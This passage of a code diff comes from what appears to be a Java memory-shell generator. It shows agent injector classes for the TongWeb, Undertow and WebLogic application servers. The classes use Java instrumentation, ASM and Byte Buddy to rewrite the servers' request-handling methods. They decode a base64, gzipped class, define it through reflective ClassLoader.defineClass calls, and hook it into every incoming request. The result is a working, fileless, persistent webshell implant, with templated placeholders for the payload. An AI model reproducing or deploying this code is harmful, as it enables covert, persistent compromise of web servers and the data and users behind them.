while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
} finally {
|
||||
try {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
try {
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
-99
@@ -1,99 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.tongweb;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class TongWebFilterChainAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/tongweb/web/thor/core/ApplicationFilterChain";
|
||||
private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/ApplicationFilterChain";
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public TongWebFilterChainAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new TongWebFilterChainAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)
|
||||
|| TARGET_CLASS_1.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
||||
}
|
||||
}
|
||||
+225
@@ -0,0 +1,225 @@
|
||||
package com.reajason.javaweb.memshell.injector.undertow;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class UndertowServletHandlerAgentInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "io/undertow/servlet/handlers/ServletInitialHandler";
|
||||
private static final String TARGET_METHOD_NAME = "handleFirstRequest";
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static String getBase64String() {
|
||||
return "{{base64String}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new UndertowServletHandlerAgentInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
defineTargetClass(loader);
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
this.className = className;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
loadArgArray();
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
Label ifConditionFalse = new Label();
|
||||
Label skipCatchBlock = new Label();
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(tryStart);
|
||||
String internalClassName = className.replace('.', '/');
|
||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||
mv.visitInsn(Opcodes.SWAP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||
"java/lang/Object",
|
||||
"equals",
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
mv.visitLabel(catchHandler);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
mv.visitLabel(skipCatchBlock);
|
||||
}
|
||||
|
||||
public void loadArgArray() {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
for (int i = 0; i < argumentTypes.length; i++) {
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
push(i);
|
||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void push(final int value) {
|
||||
if (value >= -1 && value <= 5) {
|
||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||
} else {
|
||||
mv.visitLdcInsn(new Integer(value));
|
||||
}
|
||||
}
|
||||
|
||||
private int getArgIndex(final int arg) {
|
||||
int index = 1;
|
||||
for (int i = 0; i < arg; i++) {
|
||||
index += argumentTypes[i].getSize();
|
||||
}
|
||||
return index;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
} finally {
|
||||
try {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
try {
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
-63
@@ -1,63 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.undertow;
|
||||
|
||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.utility.JavaModule;
|
||||
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/28
|
||||
*/
|
||||
public class UndertowServletInitialHandlerAgentInjector implements AgentBuilder.Transformer {
|
||||
|
||||
static Class<?> interceptorClass = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
interceptorClass = Class.forName(getClassName());
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||
TypeDescription typeDescription,
|
||||
ClassLoader classLoader, JavaModule module,
|
||||
ProtectionDomain protectionDomain) {
|
||||
return builder.visit(Advice.to(interceptorClass).on(named("handleFirstRequest")));
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
new AgentBuilder.Default()
|
||||
.ignore(ElementMatchers.none())
|
||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||
.type(named("io.undertow.servlet.handlers.ServletInitialHandler"))
|
||||
.transform(new UndertowServletInitialHandlerAgentInjector())
|
||||
.installOn(inst);
|
||||
System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest");
|
||||
}
|
||||
}
|
||||
-97
@@ -1,97 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.undertow;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class UndertowServletInitialHandlerAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "io/undertow/servlet/handlers/ServletInitialHandler";
|
||||
private static final String TARGET_METHOD_NAME = "handleFirstRequest";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public UndertowServletInitialHandlerAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new UndertowServletInitialHandlerAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest");
|
||||
}
|
||||
}
|
||||
+250
-38
@@ -1,39 +1,30 @@
|
||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||
|
||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.utility.JavaModule;
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/3
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class WebLogicServletContextAgentInjector implements AgentBuilder.Transformer {
|
||||
public class WebLogicServletContextAgentInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "weblogic/servlet/internal/WebAppServletContext";
|
||||
private static final String TARGET_METHOD_NAME = "securedExecute";
|
||||
|
||||
static Class<?> interceptorClass = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
interceptorClass = Class.forName(getClassName());
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||
TypeDescription typeDescription,
|
||||
ClassLoader classLoader, JavaModule module,
|
||||
ProtectionDomain protectionDomain) {
|
||||
return builder.visit(Advice.to(interceptorClass).on(named("securedExecute")));
|
||||
public static String getBase64String() {
|
||||
return "{{base64String}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
@@ -44,20 +35,241 @@ public class WebLogicServletContextAgentInjector implements AgentBuilder.Transfo
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
new AgentBuilder.Default()
|
||||
.ignore(ElementMatchers.none())
|
||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||
.type(named("weblogic.servlet.internal.WebAppServletContext"))
|
||||
.transform(new WebLogicServletContextAgentInjector())
|
||||
.installOn(inst);
|
||||
System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute");
|
||||
inst.addTransformer(new WebLogicServletContextAgentInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
defineTargetClass(loader);
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
this.className = className;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
loadArgArray();
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
Label ifConditionFalse = new Label();
|
||||
Label skipCatchBlock = new Label();
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(tryStart);
|
||||
String internalClassName = className.replace('.', '/');
|
||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||
mv.visitInsn(Opcodes.SWAP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||
"java/lang/Object",
|
||||
"equals",
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
mv.visitLabel(catchHandler);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
mv.visitLabel(skipCatchBlock);
|
||||
}
|
||||
|
||||
public void loadArgArray() {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
for (int i = 0; i < argumentTypes.length; i++) {
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
push(i);
|
||||
Type argumentType = argumentTypes[i];
|
||||
mv.visitVarInsn(argumentType.getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||
boxPrimitive(mv, argumentType);
|
||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void push(final int value) {
|
||||
if (value >= -1 && value <= 5) {
|
||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||
} else {
|
||||
mv.visitLdcInsn(new Integer(value));
|
||||
}
|
||||
}
|
||||
|
||||
private int getArgIndex(final int arg) {
|
||||
int index = 1;
|
||||
for (int i = 0; i < arg; i++) {
|
||||
index += argumentTypes[i].getSize();
|
||||
}
|
||||
return index;
|
||||
}
|
||||
|
||||
private void boxPrimitive(MethodVisitor mv, Type type) {
|
||||
if (type.getSort() == Type.OBJECT || type.getSort() == Type.ARRAY) {
|
||||
return; // Already an object
|
||||
}
|
||||
|
||||
String owner;
|
||||
String descriptor;
|
||||
|
||||
switch (type.getSort()) {
|
||||
case Type.BOOLEAN:
|
||||
owner = "java/lang/Boolean";
|
||||
descriptor = "(Z)Ljava/lang/Boolean;";
|
||||
break;
|
||||
case Type.CHAR:
|
||||
owner = "java/lang/Character";
|
||||
descriptor = "(C)Ljava/lang/Character;";
|
||||
break;
|
||||
case Type.BYTE:
|
||||
owner = "java/lang/Byte";
|
||||
descriptor = "(B)Ljava/lang/Byte;";
|
||||
break;
|
||||
case Type.SHORT:
|
||||
owner = "java/lang/Short";
|
||||
descriptor = "(S)Ljava/lang/Short;";
|
||||
break;
|
||||
case Type.INT:
|
||||
owner = "java/lang/Integer";
|
||||
descriptor = "(I)Ljava/lang/Integer;";
|
||||
break;
|
||||
case Type.FLOAT:
|
||||
owner = "java/lang/Float";
|
||||
descriptor = "(F)Ljava/lang/Float;";
|
||||
break;
|
||||
case Type.LONG:
|
||||
owner = "java/lang/Long";
|
||||
descriptor = "(J)Ljava/lang/Long;";
|
||||
break;
|
||||
case Type.DOUBLE:
|
||||
owner = "java/lang/Double";
|
||||
descriptor = "(D)Ljava/lang/Double;";
|
||||
break;
|
||||
default:
|
||||
// Should not happen for primitive types
|
||||
return;
|
||||
}
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, owner, "valueOf", descriptor, false);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
